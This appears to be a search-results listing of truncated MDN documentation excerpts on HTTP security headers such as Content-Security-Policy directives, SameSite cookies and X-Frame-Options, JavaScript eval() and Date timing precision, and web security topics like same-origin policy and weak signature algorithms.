.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: style-src-attr - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: style-src-elem - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: style-src - HTTP
.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a scheme such as http: or https:. the colon is required. unlike other values below, single quotes shouldn't be used. you can also specify data schemes (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
CSP: trusted-types - HTTP
the http content-security-policy (csp) trusted-types directive instructs user agents to restrict usage of known dom xss sinks to a predefined set of functions that only accept non-spoofable, typed values in place of strings. this allows authors to define rules guarding writing values to the dom and thus reducing the dom xss attack surface to small, isolated parts of the web application codebase, facilitating their monitoring and code review. this directive declares a white-list of trusted type policy names created with trustedtypes.createpolicy from trusted types api. syntax content-security-policy: trusted-types; content-security-policy: trusted-types <policyname>; content-security-policy: trusted-types <policyname> <policyname> 'allow-duplicates'; <domstring> any string can be a trus...
CSP: upgrade-insecure-requests - HTTP
that do not force it after a redirect to http. the upgrade-insecure-requests directive will not ensure that users visiting your site via links on third-party sites will be upgraded to https for the top-level navigation and thus does not replace the strict-transport-security (hsts) header, which should still be set with an appropriate max-age to ensure that users are not subject to ssl stripping attacks. syntax content-security-policy: upgrade-insecure-requests; examples // header content-security-policy: upgrade-insecure-requests; // meta tag <meta http-equiv="content-security-policy" content="upgrade-insecure-requests"> with the above header set on a domain example.com that wants to migrate from http to https, non-navigational insecure resource requests are automatically upgraded (firs...
CSP: worker-src - HTTP
to access store.example.com using https:. *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol. <scheme-source> a schema such as 'http:' or 'https:'. the colon is required, single quotes shouldn't be used. you can also specify data schemas (not recommended). data: allows data: uris to be used as a content source. this is insecure; an attacker can also inject arbitrary data: uris. use this sparingly and definitely not for scripts. mediastream: allows mediastream: uris to be used as a content source. blob: allows blob: uris to be used as a content source. filesystem: allows filesystem: uris to be used as a content source. 'self' refers to the origin from which the protected document is being served, including the same url ...
Content-Security-Policy - HTTP
for more information, see the introductory article on content security policy (csp). ...
Public-Key-Pins - HTTP
use certificate transparency and expect-ct header instead. for more information, see the http public key pinning article. ...
Server - HTTP
Web › HTTP › Headers › Server
header type response header forbidden header name no syntax server: <product> directives <product> the name of the software or product that handled the request. usually in a format similar to user-agent. ...
SameSite cookies - HTTP
rs. strict cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. none cookies will be sent in all contexts, i.e sending cross-origin is allowed. none used to be the default value, but recent browser versions made lax the default value to have reasonably robust defense against some classes of cross-site request forgery (csrf) attacks. none requires the secure attribute in latest browser versions. see below for more information. fixing common warnings samesite=none requires secure the following warning might appear in your console: some cookies are misusing the “samesite“ attribute, so it won’t work as expected. cookie “mycookie” rejected because it has the “samesite=none” attribute but is missing the “...
X-Frame-Options - HTTP
the added security is provided only if the user accessing the document is using a browser that supports x-frame-options. note: the content-security-policy http header has a frame-ancestors directive which obsoletes this header for supporting browsers. ...
414 URI Too Long - HTTP
Web › HTTP › Status › 414
uri requested by the client is longer than the server is willing to interpret. there are a few rare conditions when this might occur: when a client has improperly converted a post request to a get request with long query information, when the client has descended into a loop of redirection (for example, a redirected uri prefix that points to a suffix of itself), or when the server is under attack by a client attempting to exploit potential security holes. status 414 uri too long specifications specification title rfc 7231, section 6.5.12: 414 uri too long hypertext transfer protocol (http/1.1): semantics and content ...
425 Too Early - HTTP
Web › HTTP › Status › 425
status 425 too early specifications specification title rfc 8470, section 5.2: 425: early data using early data in http ...
Grammar and types - JavaScript
template literals are also available. template literals are enclosed by the back-tick (`) (grave accent) character instead of double or single quotes. template strings provide syntactic sugar for constructing strings. (this is similar to string interpolation features in perl, python, and more.) optionally, a tag can be added to allow the string construction to be customized, avoiding injection attacks, or constructing higher-level data structures from string contents. // basic literal string creation `in javascript '\n' is a line-feed.` // multiline strings `in javascript, template strings can run over multiple lines, but double and single quoted strings cannot.` // string interpolation var name = 'bob', time = 'today'; `hello ${name}, how are you ${time}?` // construct an http request ...
Date.prototype.getTime() - JavaScript
e example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.gettime() return value a number representing the milliseconds elapsed between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precisio...
Date.now() - JavaScript
the milliseconds elapsed since the unix epoch. polyfill this method was standardized in ecma-262 5th edition. engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.now) { date.now = function now() { return new date().gettime(); }; } examples reduced time precision to offer protection against timing attacks and fingerprinting, the precision of date.now() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60 date.now() // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resi...
SharedArrayBuffer - JavaScript
. with a few security measures, postmessage() will no longer throw for sharedarraybuffer objects and shared memory across threads will be available: as a baseline requirement, your document needs to be in a secure context. ...
eval() - JavaScript
val() is a dangerous function, which executes the code it's passed with the privileges of the caller. if you run eval() with a string that could be affected by a malicious party, you may end up running malicious code on the user's machine with the permissions of your webpage / extension. more importantly, a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar function is not susceptible. eval() is also slower than the alternatives, since it has to invoke the javascript interpreter, while many other constructs are optimized by modern js engines. additionally, modern javascript interpreters convert javascript to machine code. this means that any concept of variable naming gets obliterated. thus, any use of eval() will for...
Same-origin policy - Web security
definition of an origin two urls have the same origin if the protocol, port (if specified), and host are the same for both. you may see this referenced as the "scheme/host/port tuple", or just "tuple". ...
Secure contexts - Web security
a secure context is a window or worker for which certain minimum standards of authentication and confidentiality are met. many web apis and features are accessible only in a secure context. the primary goal of secure contexts is to prevent mitm attackers from accessing powerful apis that could further compromise the victim of an attack. why should some features be restricted? some apis on the web are very powerful, giving an attacker the ability to do the following and more: invade a user's privacy. get low-level access to a user's computer. get access to data such as user credentials. when is a context considered secure? a context is considered secure when it meets certain minimum standards of authentication and confidentiality defined in the secure contexts specification. a p...
Weak signature algorithms - Web security
the strength of the hash algorithm used in signing a digital certificate is a critical element of the security of the certificate. this article provides some information about signature algorithms known to be weak, so you can avoid them when appropriate. weaknesses in hash algorithms can lead to situations in which attackers can create or obtain fraudulent certificates. as new attacks are found and improvements in available technology make attacks more feasible, the use of older algorithms is discouraged and support for them is eventually removed. sha-1 sha-1 certificates will no longer be treated as secure by major browser manufacturers beginning in 2017. certificates employing more secure hash algorithms (such as sha-256 or sha-512) should be used instead. md5 support for md5 base...